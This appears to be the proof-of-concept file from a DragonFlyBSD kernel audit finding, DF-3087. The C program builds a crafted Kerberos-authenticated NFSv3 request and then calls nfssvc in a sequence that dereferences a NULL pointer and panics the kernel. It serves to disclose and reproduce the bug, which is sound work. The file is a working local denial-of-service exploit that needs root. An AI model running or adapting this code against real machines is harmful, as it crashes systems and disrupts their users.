DragonFlyBSD Kernel Audit
DF-3087 / kerbd.c
← back to finding ↓ download raw
/*
 * DF-3087 PoC -- root-driven trigger of the ENEEDAUTH/AUTHIN resume
 * NULL-deref in nfssvc_nfsd() (sys/vfs/nfs/nfs_syscalls.c:671).
 *
 * Flow:
 *   1. fork sender child: connect, send one AUTH_KERB/FULLNAME NFSv3
 *      GETATTR request, keep connection open.
 *   2. parent: accept, nfssvc(NFSSVC_ADDSOCK).
 *   3. parent: nfssvc(NFSSVC_NFSD, &nsd) with pre-allocated auth/verf
 *      buffers -> kernel nfs_getreq() takes the KERB FULLNAME path, sets
 *      NFSD_NEEDAUTH -> kernel copyout()s the ticket to our buffers and
 *      returns ENEEDAUTH with NFSD_REQINPROG still set and the request
 *      held in nfsd->nfsd_nd.
 *   4. parent immediately calls nfssvc(NFSSVC_AUTHIN|NFSSVC_NFSD, &nsd)
 *      -- exactly what the (kerb-enabled) nfsd userland protocol demands.
 *      nfssvc_nfsd() re-enters with local nd == NULL while NFSD_REQINPROG
 *      is set; nothing reloads nfsd->nfsd_nd; the do-loop evaluates
 *      `nd->nd_procnum == NFSPROC_WRITE` at nfs_syscalls.c:671 with
 *      writes_todo == 0 -> deterministic NULL-deref panic.
 *
 * build: cc -O -o kerbd kerbd.c
 * usage: ./kerbd <port>
 */
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/ucred.h>
#include <sys/mount.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <vfs/nfs/rpcv2.h>
#include <vfs/nfs/nfsproto.h>
#include <vfs/nfs/nfs.h>
#include <errno.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int nfssvc(int flag, void *argp);

static unsigned int req_words[19] = {
	0x11223344,	/* w0  xid                    */
	0,		/* w1  rpc_call               */
	2,		/* w2  rpc_vers               */
	100003,		/* w3  nfs_prog               */
	3,		/* w4  NFSv3                  */
	1,		/* w5  proc = GETATTR         */
	4,		/* w6  cred flavor = KERB4    */
	20,		/* w7  cred len               */
	0,		/* w8  AKN = FULLNAME         */
	8,		/* w9  ticklen = 8            */
	0xa1a1a1a1,	/* w10 ticket                 */
	0xb2b2b2b2,	/* w11 ticket                 */
	0xc3c3c3c3,	/* w12 ticket                 */
	4,		/* w13 verf flavor = KERB4    */
	16,		/* w14 verf len               */
	0,		/* w15 AKN = FULLNAME         */
	0xdeadbe0,	/* w16 key                    */
	0xdeadbe1,	/* w17 key                    */
	0xdeadbe2,	/* w18 key                    */
};

int
main(int argc, char **argv)
{
	int port, lfd, fd, on = 1, i, rv;
	struct sockaddr_in in, peer;
	struct nfsd_args na;
	socklen_t len;
	struct nfsd_srvargs nsd;
	unsigned int pkt[20];

	if (argc != 2) {
		fprintf(stderr, "usage: %s <port>\n", argv[0]);
		exit(2);
	}
	port = atoi(argv[1]);

	/* sender child */
	if (fork() == 0) {
		sleep(1);
		fd = socket(AF_INET, SOCK_STREAM, 0);
		memset(&in, 0, sizeof(in));
		in.sin_family = AF_INET;
		in.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
		in.sin_port = htons(port);
		if (connect(fd, (struct sockaddr *)&in, sizeof(in)) < 0)
			_exit(1);
		pkt[0] = htonl(0x80000000 | (19 * 4));	/* record mark */
		for (i = 0; i < 19; i++)
			pkt[i + 1] = htonl(req_words[i]);
		write(fd, pkt, sizeof(pkt));
		fprintf(stderr, "kerbd: sender wrote %zu byte request, holding conn open\n",
			sizeof(pkt));
		for (;;)
			sleep(60);
	}

	signal(SIGCHLD, SIG_IGN);
	lfd = socket(AF_INET, SOCK_STREAM, 0);
	setsockopt(lfd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on));
	memset(&in, 0, sizeof(in));
	in.sin_family = AF_INET;
	in.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
	in.sin_port = htons(port);
	if (bind(lfd, (struct sockaddr *)&in, sizeof(in)) < 0 ||
	    listen(lfd, 4) < 0) {
		perror("bind/listen"); exit(1);
	}

	len = sizeof(peer);
	fd = accept(lfd, (struct sockaddr *)&peer, &len);
	if (fd < 0) { perror("accept"); exit(1); }
	na.sock = fd;
	na.name = (caddr_t)&peer;
	na.namelen = len;
	if (nfssvc(NFSSVC_ADDSOCK, &na) < 0) {
		perror("nfssvc ADDSOCK"); exit(1);
	}
	close(fd);
	fprintf(stderr, "kerbd: socket added, becoming nfsd with auth buffers\n");

	/* nfsd with KERB auth-out buffers ready (protocol requirement) */
	memset(&nsd, 0, sizeof(nsd));
	nsd.nsd_nfsd = NULL;
	nsd.nsd_authstr = malloc(4096);
	nsd.nsd_verfstr = malloc(4096);
	nsd.nsd_authlen = 4096;
	nsd.nsd_verflen = 4096;

	rv = nfssvc(NFSSVC_NFSD, &nsd);
	fprintf(stderr, "kerbd: nfssvc(NFSD) returned %d errno=%d (%s)\n",
		rv, errno, strerror(errno));
	if (rv == 0 && errno != ENEEDAUTH && errno != 0) {
		/* libc returns -1; handle both shapes */
	}
	if (errno != ENEEDAUTH) {
		fprintf(stderr, "kerbd: expected ENEEDAUTH, got %s -- aborting\n",
			strerror(errno));
		exit(1);
	}
	fprintf(stderr, "kerbd: ENEEDAUTH ok (nfsd=%p), resuming with NFSSVC_AUTHIN\n",
		nsd.nsd_nfsd);
	fflush(stderr);

	/* the fatal resume */
	rv = nfssvc(NFSSVC_AUTHIN | NFSSVC_NFSD, &nsd);
	fprintf(stderr, "kerbd: nfssvc(AUTHIN|NFSD) returned %d errno=%d (%s) -- NO PANIC\n",
		rv, errno, strerror(errno));
	return (0);
}